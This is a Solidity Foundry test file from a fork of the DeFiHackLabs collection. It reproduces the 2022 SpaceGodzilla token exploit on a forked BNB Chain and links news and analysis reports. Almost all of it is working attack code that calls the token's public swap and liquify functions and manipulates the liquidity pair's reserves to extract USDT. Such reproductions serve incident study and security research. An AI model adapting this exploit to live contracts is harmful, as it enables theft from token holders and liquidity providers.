forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SpaceGodzilla_exp.sol
124 lines (108 loc) · 7.47 KB
/
SpaceGodzilla_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
/* @KeyInfo - Total Lost : 25,378 BUSD
Attacker Wallet : https://bscscan.com/address/0x00a62eb08868ec6feb23465f61aa963b89e57e57
Attack Contract : https://bscscan.com/address/0x3d817ea746edd02c088c4df47c0ece0bd28dcd72
SpaceGodzilla : https://bscscan.com/address/0x2287c04a15bb11ad1358ba5702c1c95e2d13a5e0
Attack Tx : https://bscscan.com/tx/0x7f183df11f1a0225b5eb5bb2296b5dc51c0f3570e8cc15f0754de8e6f8b4cca4*/
/* @News
BlockSec : https://mobile.twitter.com/BlockSecTeam/status/1547456591900749824
PANews : https://www.panewslab.com/zh_hk/articledetails/u25j5p3kdvu9.html*/
/* @Reports
Numen Cyber Labs : https://medium.com/numen-cyber-labs/spacegodzilla-attack-event-analysis-d29a061b17e1
Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4396
Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4395*/
/* We skipped the part where the attacker made a flashloan with 16 pools to get the initial capital
Here are the pools that attacker borrowed:
address constant pool1 = 0x203e062964500808151E069Eda017097E510B710; // BUSD/GERA Pool
address constant pool2 = 0x535Ae122657E5F17FB03540A98BF9F494a06e2A4; // BUSD/BABBC Pool
address constant pool3 = 0xa91E7d767FFdbFF64a955f32E8E3F08AfaB3047b; // WBNB/Fei Pool
address constant pool4 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7; // DBTC/USDT Pool
address constant pool5 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // TUF/USDT Pool
address constant pool6 = 0x8A1C25e382B80E7860DB1ae619E1Fc92a0cd7104; // FREY/USDT Pool
address constant pool7 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // Leek/USDT Pool
address constant pool8 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // CC/BUSD Pool
address constant pool9 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ASET/USDT Pool
address constant pool10 = 0xb19265426ce5bC1E015C0c503dFe6EF7c407a406; // USX/BUSD Pool
address constant pool11 = 0xe3C58d202D4047Ba227e437b79871d51982deEb7; // BTCB/BUSD Pool DSPFlashLoanCall
address constant pool12 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB; // ETH/BUSD Pool DPPFlashLoanCall
address constant pool13 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; // WBNB/USDT Pool DPPFlashLoanCall
address constant pool14 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; // WBNB/BUSD Pool DPPFlashLoanCall
address constant pool15 = 0x409E377A7AfFB1FD3369cfc24880aD58895D1dD9; // ANTEX/BUSD Pool
address constant pool16 = 0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7; // DODO/WBNB Pool*/
interface ISpaceGodzilla {
function swapAndLiquifyStepv1() external;
function swapTokensForOther(uint256 tokenAmount) external;
}
contract AttackContract is Test {
using stdStorage for StdStorage;
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address USDT = 0x55d398326f99059fF775485246999027B3197955;
address CakeLP = 0x8AfF4e8d24F445Df313928839eC96c4A618a91C8; // SpaceGodzilla/USDT LP Pool
address SpaceGodzilla = 0x2287C04a15bb11ad1358BA5702C1C95E2D13a5E0;
constructor() {
cheat.createSelectFork("bsc", 19_523_980); // Fork BSC mainnet at block 19523981
cheat.label(address(this), "AttackContract");
cheat.label(USDT, "USDT");
cheat.label(CakeLP, "CakeLP");
cheat.label(SpaceGodzilla, "SpaceGodzilla");
emit log_string("This reproduce shows how attacker exploit SpaceGodzilla, cause 25,378 BUSD lost");
emit log_string(
"[Note] We skipped the part where the attacker made a flash loan with 16 pools to get the initial capital"
);
// Attacker flashloan 16 pools, to borrow 2.95 million USDT as initial capital
stdstore.target(USDT).sig(IERC20(USDT).balanceOf.selector).with_key(address(this)).checked_write(
2_952_797_730_003_166_405_412_733
);
uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));
assert(usdt_balance == 2_952_797_730_003_166_405_412_733);
}
function testExploit() public {
uint256 init_capital = IERC20(USDT).balanceOf(address(this));
emit log_named_decimal_uint("[info] Attacker USDT Balance", init_capital, 18);
// ========================================================
ISpaceGodzilla(SpaceGodzilla).swapTokensForOther(69_127_461_036_369_179_405_415_017_714);
(uint256 r0, uint256 r1,) = Uni_Pair_V2(CakeLP).getReserves();
assert(r0 == 76_041_697_635_825_849_047_705_725_848_735);
assert(r1 == 90_478_604_689_102_338_898_952);
// ========================================================
uint256 usdt_balance = IERC20(USDT).balanceOf(address(this));
uint256 trans_usdt_balance = usdt_balance - 100_000;
bool suc = IERC20(USDT).transfer(CakeLP, trans_usdt_balance);
require(suc, "Transfer Failed");
// ========================================================
uint256 amount0Out = r0 - (r0 * 30 / 1000);
emit log_named_uint("First swap amount0Out", amount0Out);
Uni_Pair_V2(CakeLP).swap(amount0Out, 0, address(this), ""); // 73,775,430,786,944,730,258,898,675,433,018 可能會變動，因為不知道攻擊者怎麼算3％手續費
// ========================================================
ISpaceGodzilla(SpaceGodzilla).swapAndLiquifyStepv1();
// ========================================================
uint256 SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(this)); // 71,562,167,863,336,388,351,131,715,170,010 可能會變動，因為不知道攻擊者怎麼算3％手續費
emit log_named_uint("address(this) SpaceGodzilla_balance", SpaceGodzilla_balance);
// ========================================================
(r0, r1,) = Uni_Pair_V2(CakeLP).getReserves(); // 2,288,901,594,081,170,758,102,038,305,061 3,073,671,601,005,728,817,436,539
assert(r1 == 3_073_671_601_005_728_817_436_539);
// ========================================================
suc = IERC20(USDT).transfer(CakeLP, 20_000);
require(suc, "Transfer Failed");
// ========================================================
suc = IERC20(SpaceGodzilla).transfer(CakeLP, SpaceGodzilla_balance); // Transfer 所有 SpaceGodzilla 給 LP
require(suc, "Transfer Failed");
// ========================================================
uint256 LP_SpaceGodzilla_balance = IERC20(SpaceGodzilla).balanceOf(address(CakeLP));
emit log_named_uint("address(CakeLP) SpaceGodzilla_balance", LP_SpaceGodzilla_balance); // 73,851,069,457,417,559,109,233,753,475,071 可能會變動，因為不知道攻擊者怎麼算3％手續費
// ========================================================
uint256 amount1Out = r1 - (r1 * 32 / 1000);
emit log_named_uint("First swap amount1Out", amount1Out); // 2,978,176,485,325,154,862,214,560
Uni_Pair_V2(CakeLP).swap(0, amount1Out, address(this), "");
// ========================================================
usdt_balance = IERC20(USDT).balanceOf(address(this));
emit log_named_decimal_uint("[info] Attacker Wallet USDT Balance", usdt_balance, 18);
require(usdt_balance > init_capital, "Exploit Failed, attacker take losses");
uint256 profit = usdt_balance - init_capital;
emit log_named_decimal_uint("[Profit] Attacker Wallet USDT Profit", profit, 18);
}
receive() external payable {}
}